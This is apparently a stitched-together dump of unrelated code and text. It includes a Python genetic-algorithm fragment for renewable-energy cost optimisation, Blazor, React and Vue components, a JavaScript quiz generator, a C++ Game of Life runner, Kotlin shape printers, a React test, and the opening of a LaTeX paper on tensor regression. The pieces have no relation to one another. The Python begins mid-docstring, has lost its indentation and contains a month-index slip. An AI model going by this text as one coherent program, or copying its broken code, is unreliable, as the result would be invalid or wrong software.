Attention: When recalling this function, the wind_power_list and solar_power_list should in standard format.
:return: Total cost in yuan
"""
def objective(individual):
result = []
for month in range(12):
temp = 0
for i in range(24):
if 7 <= i <= 22:
temp += individual[24 * month * 3 + 3 * i + 1] * power_demand_price
else:
temp += individual[24 * month * 3 + 3 * i + 1] * 0.4
if month in [1, 3, 5, 7, 8, 10, 12]:
temp *= 31
elif month in [4, 6, 9, 11]:
temp *= 30
else:
temp *= 28
result.append(temp)
result.append(individual[864] * battery_power_price / 10)
result.append(individual[865] * battery_capacity_price / 10)
# Cost of constructing new wind and solar power plants
result.append(individual[867] * wind_capacity_price / 5)
result.append(individual[868] * solar_capacity_price / 5)
return sum(result),
constraints = []
nonlinear_eq_constraints = []
var_ranges = []
import inspect
for month in range(12):
for i in range(24):
if 8 <= i <= 16:
var_ranges.append((-self.battery_power, 0))
else:
var_ranges.append((0, self.battery_power))
def battery_power_upper_bound(individual, i=i, month=month):
return individual[24 * month * 3 + 3 * i] - individual[864]
constraints.append(battery_power_upper_bound)
def battery_power_lower_bound(individual, i=i, month=month):
return -individual[864] - individual[24 * month * 3 + 3 * i]
constraints.append(battery_power_lower_bound)
var_ranges.append((0, 2000))
def power_grid_lower_bound(individual, i=i, month=month):
return -individual[24 * month * 3 + 3 * i + 1]
constraints.append(power_grid_lower_bound)
var_ranges.append((0.1 * self.battery_capacity, 0.9 * self.battery_capacity))
def SOC_upper_bound(individual, i=i, month=month):
return individual[24 * month * 3 + 3 * i + 2] - 0.9 * individual[865]
constraints.append(SOC_upper_bound)
def SOC_lower_bound(individual, i=i, month=month):
return 0.1 * individual[865] - individual[24 * month * 3 + 3 * i + 2]
constraints.append(SOC_lower_bound)
if i == 23:
def final_SOC_upper_bound(individual, i=i, month=month):
return individual[24 * month * 3 + 3 * i + 2] - individual[24 * month * 3 + 3 * i] - (individual[866]*1.01) * individual[865]
constraints.append(final_SOC_upper_bound)
def final_SOC_lower_bound(individual, i=i, month=month):
return (individual[866]*0.99) * individual[865] - (individual[24 * month * 3 + 3 * i + 2] - individual[24 * month * 3 + 3 * i])
constraints.append(final_SOC_lower_bound)
def power_balance(individual, i=i, month=month):
wind_power = self.wind_power_list24[month][i] * individual[867]
solar_power = self.solar_power_list24[month][i] * individual[868]
shortage = self.power_demand_list[i] - wind_power - solar_power
if shortage < 0 < individual[24 * month * 3 + 3 * i]:
individual[24 * month * 3 + 3 * i] = 0
if individual[24 * month * 3 + 3 * i + 1] > 0 > individual[24 * month * 3 + 3 * i]:
individual[24 * month * 3 + 3 * i] = 0
if individual[24 * month * 3 + 3 * i] > 0:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[24 * month * 3 + 3 * i] * battery_efficiency
else:
temp = self.power_demand_list[i] - wind_power - solar_power - \
individual[24 * month * 3 + 3 * i] / battery_efficiency
if temp < 0:
individual[24 * month * 3 + 3 * i + 1] = 0
else:
individual[24 * month * 3 + 3 * i + 1] = temp
nonlinear_eq_constraints.append(power_balance)
def SOC_balance(individual, i=i, month=month):
if i == 0:
individual[24 * month * 3 + 3 * i + 2] = individual[866] * individual[865]
else:
individual[24 * month * 3 + 3 * i + 2] = individual[24 * month * 3 + 3 * (i - 1) + 2] - individual[24 * month * 3 + 3 * (i - 1)]
nonlinear_eq_constraints.append(SOC_balance)
var_ranges.append((0.5 * 500, 2 * 500))
def battery_power_lower_bound(individual):
return -individual[864] + 200
constraints.append(battery_power_lower_bound)
var_ranges.append((0.5 * 1000, 2 * 1000))
def capacity_lower_bound(individual):
return -individual[865] + 400
constraints.append(capacity_lower_bound)
var_ranges.append((0.1, 0.9))
var_ranges.append((500, 1500))
def wind_power_lower_bound(individual):
return -individual[867]
var_ranges.append((500, 1500))
def solar_power_lower_bound(individual):
return -individual[868]
constraints.append(wind_power_lower_bound)
constraints.append(solar_power_lower_bound)
ga = GeneticAlgorithm(objective_func=objective, constraints=constraints,
nonlinear_eq_constraints=nonlinear_eq_constraints, n_vars=24 * 12 * 3 + 5, var_ranges=var_ranges, ngen=10000, pop_size=100, cxpb=0.8, mutpb=0.5, penalty_factor=1e9)
pop, log, hof = ga.run()
dataframe = pd.DataFrame(columns=['battery_power', 'power_grid', 'SOC'])
for month in range(12):
for i in range(24):
dataframe.loc[month * 24 + i] = [hof[0][24 * month * 3 + 3 * i], hof[0][24 * month * 3 + 3 * i + 1], hof[0][24 * month * 3 + 3 * i + 2]]
dataframe.loc[24 * 12] = ["Power", "Capacity", "init_SOC"]
dataframe.loc[24 * 12 + 1] = [hof[0][864], hof[0][865], hof[0][866]]
result = hof[0].fitness.values[0]
dataframe.loc[24 * 12 + 2] = ["result", "wind", "solar"]
dataframe.loc[24 * 12 + 3] = [result, hof[0][867], hof[0][868]]
timestamp = time.strftime("%Y-%m-%d-%H-%M-%S", time.localtime())
dataframe.to_csv(f"C://Users/Jawk/PycharmProjects/EEE/EEE/data/result_{self.name}_3_2_{timestamp}.csv")
|
@inject postMortemWorker Worker
@foreach (Post post in _PostsInView)
{
<postMortem.Web.Components.PostElement Post="post" />
<br />
}
<br />
<Pagination TotalPages="@TotalPages" PageChanged="OnPageChanged" />
@code
{
/// <summary>
/// Total amount of pages that should be shown on a page.
/// </summary>
private const int PostsPerPage = 15;
/// <summary>
/// This value will change based on the amount of posts there is.
/// </summary>
private int TotalPages = -1;
/// <summary>
/// We keep a list of all posts, then we keep a list of pages that should be in the user view.
/// </summary>
[Parameter]
public List<Post> _Posts { get; set; } = new List<Post>();
protected List<Post> _PostsInView = new List<Post>();
/// <summary>
/// Set the owner of posts we'd like to display.
/// </summary>
[Parameter]
public User Owner { get; set; } = null;
/// <summary>
/// Set the tag and only show posts that contain these tags.
/// </summary>
[Parameter]
public List<Tag> Tags { get; set; } = new List<Tag>();
/// <summary>
/// We override the initializer to invoke our own providers.
/// </summary>
protected override async Task OnInitializedAsync()
{
await PostDataProvider();
await PostPageDataProvider(0);
base.OnInitialized();
}
/// <summary>
/// Import all of the posts for the page and set the amount of pages.
/// </summary>
/// <returns></returns>
private async Task PostDataProvider()
{
// We have provided a list.
if (this._Posts.Count() != 0)
{
return;
}
if (Owner == null)
{
this._Posts = Worker.Posts.GetAll().ToList();
}
else
{
this._Posts = Worker.Posts.Find(r => r.Owner == Owner).ToList();
}
if (Tags != null && Tags.Count != 0)
{
List<Post> remainder = new List<Post>();
foreach (Post post in this._Posts)
{
// Post has no tags.
if (post.Tags.Count == 0)
{
continue;
}
foreach (Tag tag in Tags)
{
if (post.Tags.Contains(tag))
{
// We found a match. Keep the post!
remainder.Add(post);
break;
}
}
}
this._Posts = remainder;
}
this.TotalPages = Math.Abs(this._Posts.Count / PostsPerPage);
}
/// <summary>
/// Grab a bunch of posts that should be displayed on the page.
/// </summary>
/// <param name="startIndex">Starting position of posts to grab from the list. You can figure this number out by doing (pageNumber * PostsPerPage)</param>
/// <returns></returns>
private async Task PostPageDataProvider(int startIndex)
{
if (_PostsInView.Count != 0)
_PostsInView.Clear();
for (int i = startIndex; i < startIndex + PostsPerPage; i++)
{
if (i >= _Posts.Count)
{
break;
}
_PostsInView.Add(_Posts[i]);
}
this.StateHasChanged();
}
/// <summary>
/// Invoked when the page has been changed. This way we can change our lists of posts.
/// </summary>
/// <param name="newPageNumber"></param>
/// <returns></returns>
private async Task OnPageChanged(int newPageNumber)
{
this.PostPageDataProvider(PostsPerPage * newPageNumber);
}
}
|
import React from 'react';
import axios from 'axios';
export default class Comment extends React.Component {
constructor(props) {
super(props)
this.state = {
currentPage: 0,
comment: '',
errorMess: [],
comment:[]
}
this.handleCurrentPage = this.handleCurrentPage.bind(this)
this.handleComment = this.handleComment.bind(this)
this.handleErrorMess = this.handleErrorMess.bind(this)
this.handleSubmit = this.handleSubmit.bind(this)
}
handleErrorMess(errorMess) {
this.setState({
errorMess: errorMess
})
}
handleCurrentPage(currentPage) {
this.setState({
currentPage: currentPage
})
}
handleComment(comment) {
this.setState({
comment: comment
})
}
handleSubmit(e) {
this.handleErrorMess([])
e.preventDefault()
const errorMess = []
const text = e.target[0].value
let commentdetail = {
question: this.props.isQuestion,
addTo: this.props.addTo,
text: text,
comment_by: this.props.userID
}
axios.get(`http://localhost:8000/rep/${this.props.userID}`, commentdetail).then(res => {
if (res.data < 100) {
errorMess.push(<p key={0}>You need to have more than 100 reputation</p>)
}
if (text.length == 0) {
errorMess.push(<p key={1}>Comment text cannot be empty!</p>)
}
if (errorMess.length > 0) {
this.handleErrorMess(errorMess)
} else {
axios.post(`http://localhost:8000/addcomment`, commentdetail).then(res => {
this.props.handleKey()
})
}
})
this.handleComment('')
}
render() {
let comment = this.props.comment
let start = this.state.currentPage * 3
let counts = Math.min(3, comment.length - start)
let result = []
for (let i = start; i < start + counts; i++) {
if (i == start + counts - 1) {
result.push(<div key={i} className="last"><span>{comment[i].text}</span><span className="user">{comment[i].comment_by.username}</span></div>)
} else {
result.push(<div key={i}><span>{comment[i].text}</span><span className="user">{comment[i].comment_by.username}</span></div>)
}
}
let hasNext = (comment.length > this.state.currentPage * 3 + 3)
let hasPrev = (this.state.currentPage * 3 > 0)
let prev = (<div className='left-butt'><button className={hasPrev ? "" : "hidden"} onClick={() => { this.handleCurrentPage(this.state.currentPage - 1) }}>Prev</button></div>)
let next = (<div className='right-butt'><button className={hasNext ? "" : "hidden"} onClick={() => { this.handleCurrentPage(this.state.currentPage + 1) }}>Next</button></div>)
let newComment = (
<div className='comment-form'>
<div id="error">{this.state.errorMess}</div>
<form id="form3" onSubmit={this.handleSubmit}>
<textarea type="text" name="comment" rows="1" value={this.state.comment} onChange={(e) => this.handleComment(e.target.value)}></textarea>
<button type="submit" className="subcom" id="ans1">Post Comment</button>
</form>
</div>
)
return <li className='comment'>{result}{prev}{next}{this.props.userID ? newComment : <></>}</li>
}
}
|
import { state } from './state.js'
import * as utilMethods from './utils.js';
import { flashNumOne, flashNumTwo, flashOpOne } from './domElements.js';
import { mcNumOne, mcNumTwo, mcOpOne } from './domElements.js';
import { mcQuizNumOne, mcQuizNumTwo, mcQuizOpOne, } from './domElements.js';
import { quizNumOne, quizNumTwo, quizOpOne } from './domElements.js';
import { gameNumOne, gameNumTwo, gameOpOne } from './domElements.js';
export function newGeneralQuestion(opEl, n1El, n2El, operators, func) {
let activeHighVal = sessionStorage.getItem("activeHighVal")
let activeMultiplyHighVal = sessionStorage.getItem("activeMultiplyHighVal")
let activeMultiplyLowVal = sessionStorage.getItem("activeMultiplyLowVal")
// Get a random operator from the list of operators
let o1 = utilMethods.randOp(operators);
// Generate two random numbers between 0 and the active high value
let n1 = utilMethods.randomNumber(0, activeHighVal);
let n2 = utilMethods.randomNumber(0, activeHighVal);
// If the operator is multiplication, generate two random numbers between the active multiply low and high values
if (o1 === "x") {
n1 = utilMethods.randomNumber(activeMultiplyLowVal, activeMultiplyHighVal);
n2 = utilMethods.randomNumber(activeMultiplyLowVal, activeMultiplyHighVal);
}
// If the operator is division, generate two random numbers until the first is divisible by the second
if (o1 === "÷") {
while (n1 % n2 != 0) {
n1 = utilMethods.randomNumber(0, activeHighVal);
n2 = utilMethods.randomNumber(1, activeHighVal);
}
}
// If the operator is subtraction and the second number is greater than the first, swap them
if (o1 === "-") {
if (n2 > n1) {
let t = n1;
n1 = n2;
n2 = t;
}
}
// Set the text content of the HTML elements to the generated numbers and operator
n1El.textContent = n1;
n2El.textContent = n2;
opEl.textContent = o1;
// If a function was passed in as an argument, call it with the generated numbers and operator as arguments
if (func) func(n1, n2, o1);
}
// Function to generate a new question based on the specified type
export function newQuestion(type, operators, options) {
let num1, num2, op1;
// Load the appropriate section based on the question type
switch (type) {
// If the type is "flash", load the "flash" section
case "flash":
// Set the values
num1 = flashNumOne;
num2 = flashNumTwo;
op1 = flashOpOne;
break;
// If the type is "multiple-choice", load the "mc" section
case "multiple-choice":
// Set the values
num1 = mcNumOne;
num2 = mcNumTwo;
op1 = mcOpOne;
break;
// If the type is "multiple-choice-quiz", load the "mc-quiz" section
case "multiple-choice-quiz":
// Set the values
num1 = mcQuizNumOne;
num2 = mcQuizNumTwo;
op1 = mcQuizOpOne;
break;
// If the type is "quiz", load the "quiz" section
case "quiz":
// Set the values
num1 = quizNumOne;
num2 = quizNumTwo;
op1 = quizOpOne;
break;
// If the type is "game", load the "game" section
case "game":
// Set the values
num1 = gameNumOne;
num2 = gameNumTwo;
op1 = gameOpOne;
break;
// If the type is not recognized, do nothing
default:
break;
}
// Update the burger menu
// burgerUpdate();
// Generate a new question based on the values of num1, num2, and op1
newGeneralQuestion(op1, num1, num2, operators, options);
}
|
<template>
<div name="弹出窗口" v-show="changeTalker">
请选择你的角色:
<v-chip-group active-class="primary-text" color="primary" column v-model="chipSelectID" :readonly="true">
<v-chip prepend-icon="mdi-account-circle" v-for="(people, i) in data.slice(1)" @click="changeTalkerId(i + 1)"
:value="i">
{{ people.name }}
</v-chip>
<v-chip prepend-icon="mdi-account-plus">
{{ showCreateView ? '关闭窗口 X' : '添加角色 >' }}
</v-chip>
</v-chip-group>
<div v-show="chipSelectID == data.length - 1">
<v-text-field variant="filled" label="角色名称" v-model="nameInput"></v-text-field>
<v-btn color="primary" @click="addPeople">确认添加角色</v-btn>
</div>
</div>
<div name="主控核心">
<v-chip prepend-icon="mdi-account-circle" append-icon="mdi-reload" @click="changeTalker = !changeTalker">
{{ data[tId].name }}
</v-chip>
</div>
</template>
<script setup>
import { ref } from 'vue'
import { useTalkConfig } from '../store/people'
import { storeToRefs } from 'pinia'
import { VChip, VChipGroup,VBtn,VTextField } from 'vuetify/lib/components/index.mjs'
const talkConfig = useTalkConfig()
const { messageArray, dataArray: data, talkerId: tId } = storeToRefs(talkConfig)
const showCreateView = ref(false)
const changeTalker = ref(false)
const chipSelectID = ref(0)
const changeTalkerId = (i) => {
tId.value = i
changeTalker.value = false
}
const nameInput = ref('')
const addPeople = () => {
if (!nameInput.value.trim()) {
alert('请给阁下的角色一个名字,好吗')
} else {
data.value.push({
name: nameInput.value,
group: 'default',
profile: ''
})
nameInput.value = ''
}
}
</script>
|
// -------------------------
// projects/life/RunLife.c++
// Copyright (C) 2013
// Glenn P. Downing
// -------------------------
/*
To run the program:
% g++ -pedantic -std=c++0x -Wall AbstractCell.c++ Cell.c++ ConwayCell.c++ FredkinCell.c++ -o RunLife
% valgrind RunLife > RunLife.out
To configure Doxygen:
doxygen -g
That creates the file Doxyfile.
Make the following edits:
EXTRACT_ALL = YES
EXTRACT_PRIVATE = YES
EXTRACT_STATIC = YES
GENERATE_LATEX = NO
To document the program:
doxygen Doxyfile
*/
// --------
// includes
// --------
#include <cassert> // assert
#include <iostream> // cout, endl
#include <stdexcept> // invalid_argument, out_of_range
#include <fstream>
#include "Life.h"
#include "ConwayCell.h"
#include "FredkinCell.h"
#include "Cell.h"
// ----
// main
// ----
int main () {
using namespace std;
ios_base::sync_with_stdio(false); // turn off synchronization with C I/O
ofstream ofile;
ofile.open("RunLife.out");
// ------------------
// Conway Cell 109x69
// ------------------
try {
cout << "*** Life<ConwayCell> 109x69 ***" << endl;
/*
read RunLifeConway.in // assume all Conway cells
Simulate 283 moves.
Print the first 10 grids (i.e. 0, 1, 2...9).
Print the 283rd grid.
Simulate 40 moves.
Print the 323rd grid.
Simulate 2177 moves.
Print the 2500th grid.
*/
ifstream ifile("RunLifeConway.in");
ofile << "*** Life<ConwayCell> 109x69 ***" << endl;
Life<ConwayCell> life;
life.store_cells(ifile);
ifile.close();
life.print(ofile, 0);
life.simulate(283, 10, ofile);
life.simulate(40, 0, ofile);
life.print(ofile, 323);
life.simulate(2177, 0, ofile);
life.print(ofile, 2500);
}
catch (const invalid_argument&) {
assert(false);}
catch (const out_of_range&) {
assert(false);}
// ------------------
// Fredkin Cell 20x20
// ------------------
try {
cout << "*** Life<FredkinCell> 20x20 ***" << endl;
/*
read RunLifeFredkin.in // assume all Fredkin cells
Simulate 5 moves.
Print every grid (i.e. 0, 1, 2...5)
*/
/* ifstream ifile("RunLifeFredkin.in");
ofile << "*** Life<FredkinCell> 20x20 ***" << endl;
Life<FredkinCell> life;
life.store_cells(ifile);
ifile.close();
life.print(ofile);*/
}
catch (const invalid_argument&) {
assert(false);}
catch (const out_of_range&) {
assert(false);}
// ----------
// Cell 20x20
// ----------
try {
cout << "*** Life<Cell> 20x20 ***" << endl;
/*
read RunLifeCell.in // assume all Fredkin cells
Simulate 5 moves.
Print every grid (i.e. 0, 1, 2...5)
*/
/* ifstream ifile("RunLifeCell.in");
ofile << "*** Life<Cell> 20x20 ***" << endl;
Life<Cell> life;
life.store_cells(ifile);
ifile.close();
life.print(ofile);*/
}
catch (const invalid_argument&) {
assert(false);}
catch (const out_of_range&) {
assert(false);}
ofile.close();
return 0;}
|
fun main() {
val pyramid = Pyramid(8)
val invertedPyramid = InvertedPyramid(8)
val diamond = Diamond(8)
val xShape = XShape(16)
val hollowPyramid = HollowPyramid(6)
println("Piramida Bintang:")
pyramid.draw()
println("\nPiramida Terbalik Bintang:")
invertedPyramid.draw()
println("\nLayang-layang Bintang:")
diamond.draw()
println("\nX Bintang:")
xShape.draw()
println("\nPiramida Hollow Bintang:")
hollowPyramid.draw()
}
abstract class Shape(val size: Int) {
abstract fun draw()
}
class Pyramid(size: Int) : Shape(size) {
override fun draw() {
for (i in 1..size) {
for (j in 1..size - i) {
print(" ")
}
for (j in 1..2 * i - 1) {
print("*")
}
println()
}
}
}
class InvertedPyramid(size: Int) : Shape(size) {
override fun draw() {
for (i in size downTo 1) {
for (j in 1..size - i) {
print(" ")
}
for (j in 1..2 * i - 1) {
print("*")
}
println()
}
}
}
class Diamond(size: Int) : Shape(size) {
override fun draw() {
for (i in 1..size) {
for (j in 1..size - i) {
print(" ")
}
for (j in 1..2 * i - 1) {
print("*")
}
println()
}
for (i in size - 1 downTo 1) {
for (j in 1..size - i) {
print(" ")
}
for (j in 1..2 * i - 1) {
print("*")
}
println()
}
}
}
class XShape(size: Int) : Shape(size) {
override fun draw() {
for (i in 1..size) {
for (j in 1..size) {
if (j == i || j == size - i + 1) {
print("*")
} else {
print(" ")
}
}
println()
}
}
}
class HollowPyramid(size: Int) : Shape(size) {
override fun draw() {
for (i in 1..size) {
for (j in 1..size - i) {
print(" ")
}
for (j in 1..2 * i - 1) {
if (j == 1 || j == 2 * i - 1 || i == size) {
print("*")
} else {
print(" ")
}
}
println()
}
}
}
|
/** Libraries */
import { render, screen, fireEvent } from '@testing-library/react';
import '@testing-library/jest-dom/extend-expect';
import user from '@testing-library/user-event';
/** Components */
import { Search } from '..';
describe('Search component', () => {
const props = {
query: 'query',
type: 'search',
name: 'search',
onChange: jest.fn(),
onClick: jest.fn(),
onKeyPress: jest.fn(),
};
it('Should render component with provided props', () => {
render(<Search {...props} />);
const searchbar = screen.getByRole('search');
expect(searchbar).toBeInTheDocument();
});
it('Should call onChange on type input', () => {
render(<Search {...props} />);
const searchbar = screen.getByLabelText('Search');
const textToType = 'myName';
user.type(searchbar, textToType);
expect(props.onChange).toHaveBeenCalled();
expect(props.onChange).toHaveBeenCalledTimes(textToType.length);
});
it('Should call onClick event on click search', () => {
render(<Search {...props} />);
const searchButton = screen.getByRole('searchButton');
user.click(searchButton);
expect(props.onClick).toHaveBeenCalled();
});
it('Should call onClick event on user press enter keyboard', () => {
render(<Search {...props} />);
const searchInput = screen.getByLabelText('Search');
fireEvent.keyPress(searchInput, { key: 'Enter', code: 13, charCode: 13 });
expect(props.onKeyPress).toHaveBeenCalled();
});
it('Should recieve and print the value', () => {
render(<Search {...props} />);
const searchbar = screen.getByLabelText('Search');
expect(searchbar.value).toBe(props.query);
});
});
|
\documentclass{article}
% if you need to pass options to natbib, use, e.g.:
% \PassOptionsToPackage{numbers, compress}{natbib}
% before loading neurips_2020
% ready for submission
\usepackage{neurips_2020}
% to compile a preprint version, e.g., for submission to arXiv, add add the
% [preprint] option:
% \usepackage[preprint]{neurips_2020}
% to compile a camera-ready version, add the [final] option, e.g.:
% \usepackage[final]{neurips_2020}
% to avoid loading the natbib package, add option nonatbib:
% \usepackage[nonatbib]{neurips_2020}
\usepackage[utf8]{inputenc} % allow utf-8 input
\usepackage[T1]{fontenc} % use 8-bit T1 fonts
\usepackage{hyperref} % hyperlinks
\usepackage{url} % simple URL typesetting
\usepackage{booktabs} % professional-quality tables
\usepackage{amsfonts} % blackboard math symbols
\usepackage{nicefrac} % compact symbols for 1/2, etc.
\usepackage{microtype} % microtypography
%%% personal package %%%
% Recommended, but optional, packages for figures and better typesetting:
\usepackage{graphicx}
\usepackage{subfigure}
\usepackage{hyperref} % hyperlinks
\usepackage{url} % simple URL typesetting
\usepackage{amsmath,amssymb}
\usepackage{amsthm} % blackboard math symbols
\usepackage{wrapfig}
\usepackage{multirow}
\usepackage{bm}
\newcommand{\theHalgorithm}{\arabic{algorithm}}
\usepackage{mathtools}
\mathtoolsset{showonlyrefs}
\usepackage{enumitem}
\theoremstyle{plain}
\newtheorem{thm}{Theorem}[section]
\newtheorem{lem}{Lemma}
\newtheorem{prop}{Proposition}
\newtheorem{pro}{Property}
\newtheorem{assumption}{Assumption}
\theoremstyle{definition}
\newtheorem{defn}{Definition}
\newtheorem{cor}{Corollary}
\newtheorem{example}{Example}
\newtheorem{rmk}{Remark}
\usepackage{dsfont}
\newcommand*{\KeepStyleUnderBrace}[1]{%f
\mathop{%
\mathchoice
{\underbrace{\displaystyle#1}}%
{\underbrace{\textstyle#1}}%
{\underbrace{\scriptstyle#1}}%
{\underbrace{\scriptscriptstyle#1}}%
}\limits
}
\usepackage{makecell}
\input macros.tex
\usepackage{amssymb}
\usepackage{pifont}
\newcommand{\cmark}{\ding{51}}%
\newcommand{\xmark}{\ding{55}}%
\usepackage{xr}
\externaldocument{tensor_regression_supp}
%new package
\title{Exponential Family Tensor Regression with Covariates on Multiple Modes }
% The \author macro works with any number of authors. There are two commands
% used to separate the names and addresses of multiple authors: \And and \AND.
%
% Using \And between authors leaves it to LaTeX to determine where to break the
% lines. Using \AND forces a line break at that point. So, if LaTeX puts 3 of 4
% authors names on the first line, and the last on the second line, try using
% \AND instead of \And before the third author name.
\iffalse
\author{%
David S.~Hippocampus\thanks{Use footnote for providing further information
about author (webpage, alternative address)---\emph{not} for acknowledging
funding agencies.} \\
Department of Computer Science\\
Cranberry-Lemon University\\
Pittsburgh, PA 15213 \\
\texttt{[email protected]} \\
}
\fi
\begin{document}
\maketitle
\begin{abstract}
Higher-order tensors have recently received increasing attention in many fields across science and engineering. Here, we present an exponential family of tensor-response regression models that incorporate covariates on multiple modes. Such problems are common in neuroimaging, network modeling, and spatial-temporal analysis. We propose a rank-constrained estimator and establish the theoretical accuracy guarantees. Unlike earlier methods, our approach allows covariates from multiple tensor modes whenever available. An efficient alternating updating algorithm is further developed. Our proposal handles a broad range of data types, including continuous, count, and binary observations. We apply the method to multi-relational social network data and diffusion tensor imaging data from human connection project. Our approach identifies the key global connectivity pattern and pinpoints the local regions that are associated with covariates.
\end{abstract}
\section{Introduction}
Many contemporary scientific and engineering studies collect multi-way array data, a.k.a.\ tensors, accompanied by additional covariates. One example is neuroimaging analysis~\cite{sun2017store,zhou2013tensor}, in which the brain connectivity networks are collected from a sample of individuals. Researchers are often interested in identifying connection edges that are affected by individual characteristics such as age, gender, and disease status (see Figure~\ref{fig:intro1}a). Another example is in the field of network analysis~\cite{baldin2018optimal,hoff2005bilinear}. A typical social network consists of nodes that represent people and edges that represent friendships. In addition, features on nodes and edges are often available, such as people's personality and demographic location. It is of keen scientific interest to identify the variation in the connection patterns (e.g., transitivity, community) that can be attributable to the node features.
This paper presents a general treatment to these seemingly different problems. We formulate the learning task as a regression problem, with tensor observation serving as a response, and the node features and/or their interactions forming the predictor. Figure~\ref{fig:intro1}b illustrates the general set-up we consider. The regression approach allows the identification of variation in the data tensor that is explained by the covariates. In contrast to earlier work~\cite{rabusseau2016low,yu2016learning}, our method allows the covariates from multiple modes, whenever available. We utilize a low-rank constraint in the regression coefficient to encourage the sharing among tensor entries. The statistical convergence of our estimator is established, and we quantify the gain in predictive power by taking multiple covariates into account.
A secondary contribution is that our method allows a broad range of tensor types, including continuous, count, and binary observations. While previous tensor regression methods~\cite{zhao2012higher,yu2016learning} are able to analyze Gaussian responses, none of them is suitable for exponential distribution family of tensors. We develop a generalized tensor regression framework, and as a by product, our models allows heteroscedasticity by relating the variance of tensor entry to its mean. This flexibility is particularly important in practice, because social network, brain imaging, or gene expression datasets are often non-Gaussian.
{\bf Related work.} Our work is closely related to but also clearly distinctive from several lines of previous work. The first is a class of \emph{unsupervised} tensor decomposition~\cite{de2000multilinear,hong2018generalized,zhang2018tensor} that aims to find a low-rank representation of a data tensor. In contrast, our model can be viewed a \emph{supervised} tensor learning, which aims to identify the association between a data tensor and covariates. The second related line~\cite{zhou2013tensor,chen2019non} tackles tensor regression where the response is a scalar and the \emph{predictor} is a tensor. Our proposal is orthogonal to theirs because we treat the tensor as a \emph{response}. The tensor-response model is appealing for high-dimensional analysis when both the response and the covariate dimensions grow. The last line of work studies the network-response model~\cite{rabusseau2016low, li2017parsimonious}. The earlier development of this model focuses mostly on binary data in the presence of dyadic covariates~\cite{hoff2005bilinear}. We will demonstrate the enhanced accuracy as the order of data grows, and establish the general theory for exponential family which is arguably better suited to various data types.
\begin{figure*}[t]
\begin{center}
\includegraphics[width=12cm]{demo.pdf}
\end{center}
\caption{Examples of tensor response regression model with covariates on multiple modes. (a) Network population model. (b) Spatial-temporal growth model. }\label{fig:intro1}
\vspace{-.2cm}
\end{figure*}
\section{Preliminaries}
We begin by reviewing the basic properties about tensors~\cite{kolda2009tensor}. We use $\tY=\entry{y_{i_1,\ldots,i_K}}\in \mathbb{R}^{d_1\times \cdots\times d_K}$ to denote an order-$K$ $(d_1,\ldots,d_K)$-dimensional tensor. The multilinear multiplication of a tensor $\tY\in\mathbb{R}^{d_1\times \cdots\times d_K}$ by matrices $\mX_k=\entry{x_{i_k,j_k}^{(k)}}\in\mathbb{R}^{p_k\times d_k}$ is defined as
\[
\tY \times_1\mX_1\ldots \times_K \mX_K=\entry{\sum_{i_1,\ldots,i_K}y_{i_1,\ldots,i_K}x_{j_1,i_1}^{(1)}\ldots x_{j_K,i_K}^{(K)}},
\]
which results in an order-$K$ $(p_1,\ldots,p_K)$-dimensional tensor. For ease of presentation, we use shorthand notion $\tY\times\{\mX_1,\ldots,\mX_K\}$ to denote the tensor-by-matrix product. For any two tensors $\tY=\entry{y_{i_1,\ldots,i_K}}$, $\tY'=\entry{y'_{i_1,\ldots,i_K}}$ of identical order and dimensions, their inner product is defined as $\langle \tY, \tY'\rangle =\sum_{i_1,\ldots,i_K}y_{i_1,\ldots,i_K}y'_{i_1,\ldots,i_K}$. The Frobenius norm of tensor $\tY$ is defined as $\FnormSize{}{\tY}=\langle \tY,\ \tY \rangle^{1/2}$. A higher-order tensor can be reshaped into a lower-order object~\cite{wang2017operator}. We use $\text{vec}(\cdot)$ to denote the operation that reshapes the tensor into a vector, and $\text{Unfold}_k(\cdot)$ the operation that reshapes the tensor along mode-$k$ into a matrix of size $d_k$-by-$\prod_{i\neq k}d_i$. The Tucker rank of an order-$K$ tensor $\tY$ is defined as a length-$K$ vector $\mr=(r_1,\ldots,r_K)$, where $r_k$ is the rank of matrix $\text{Unfold}_k(\tY)$, $k=1,\ldots,K$. We use lower-case letters (e.g.,\ $a,b,c$) for scalars/vectors, upper-case boldface letters (e.g.,\ $\mA,\mB,\mC$) for matrices, and calligraphy letters (e.g.,\ $\tA, \tB, \tC$) for tensors of order three or greater. We let $\mI_d$ denote the $d \times d$ identity matrix, $[d]$ denote the $d$-set $\{1,\ldots,d\}$, and allow an $\mathbb{R}\to \mathbb{R}$ function to be applied to tensors in an element-wise manner.
\section{Motivation and model}\label{sec:model}
Let $\tY=\entry{y_{i_1,\ldots,i_K}}\in\mathbb{R}^{d_1\times \cdots\times d_K}$ denote an order-$K$ data tensor. Suppose we observe covariates on some of the $K$ modes. Let $\mX_k\in\mathbb{R}^{d_k\times p_k}$ denote the available covariates on the mode $k$, where $p_k\leq d_k$. We propose a multilinear structure on the conditional expectation of the tensor. Specifically,
\begin{equation}\label{eq:tensormodel}
\mathbb{E}(\tY|\mX_1,\ldots,\mX_K)=f(\Theta),\ \text{with}
\Theta =\tB\times\{\mX_1,\ldots,\mX_K\} ,
\end{equation}
where $f(\cdot)$ is a known link function, $\Theta\in\mathbb{R}^{d_1\times \cdots\times d_K}$ is the linear predictor, $\tB\in\mathbb{R}^{p_1\times \cdots \times p_K}$ is the parameter tensor of interest, and $\times$ denotes the tensor Tucker product. The choice of link function depends on the distribution of the response data. Some common choices are identity link for Gaussian tensor, logistic link for binary tensor, and $\exp(\cdot)$ link for Poisson tensor (see Table~\ref{table:link}).
\begin{table}
\centering
\begin{tabular}{c|ccc}
Data type &Gaussian & Poisson& Bernoulli\\
\hline
Domain $\mathbb{Y}$& $\mathbb{R}$&$\mathbb{N}$&$\{0,1\}$\\
$b(\theta)$&$\theta^2/2$& $\exp(\theta)$&$\log (1+\exp(\theta))$\\
link $f(\theta)$&$\theta$&$\exp(\theta)$&$(1+\exp(-\theta))^{-1}$
\end{tabular}
\vspace{.2cm}
\caption{Canonical links for common distributions.}\label{table:link}
\vspace{-.6cm}
\end{table}
We give three examples of tensor regression that arise in practice.
\begin{example}[Spatio-temporal growth model]
